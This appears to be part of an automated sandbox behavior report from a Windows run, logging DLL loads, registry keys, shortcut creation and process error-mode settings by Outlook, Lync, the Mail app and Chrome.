Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: winrttracing.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: winnsi.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: dnsapi.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: schannel.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: photometadatahandler.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: ploptin.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mskeyprotect.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: ntasn1.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: ncrypt.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: ncryptsslp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msasn1.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: dpapi.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: gpapi.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: webservices.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: userdataaccountapis.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: userdataplatformhelperutil.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.accountscontrol.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: xmllite.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: accountsrt.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: aphostclient.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe	Section loaded: c2r32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe	Section loaded: oart.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe	Section loaded: msvcp140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: apphelp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: hxoutlook.model.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: microsoft.applications.telemetry.windows.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: mso20imm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: vccorlib140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: vccorlib140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: mso30imm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: mso20imm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: windows.ui.xaml.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: coremessaging.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Section loaded: iertutil.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe

File opened: C:\Windows\SYSTEM32\msftedit.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\Uc.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\Psom.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\lync.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\ocimport.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\Psom.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\LyncDesktopViewModel.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\UccApi.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\lync.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\ocrec.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\Uc.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\jb3\target\x86\ship\lync\x-none\Win32MsgQueue.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\LyncDesktopViewModel.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\ocimport.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\UccApi.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\jb3\target\x86\ship\lync\x-none\Win32MsgQueue.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\ocrec.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Lync
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Lync

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\lync\ConfigContextData 1

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
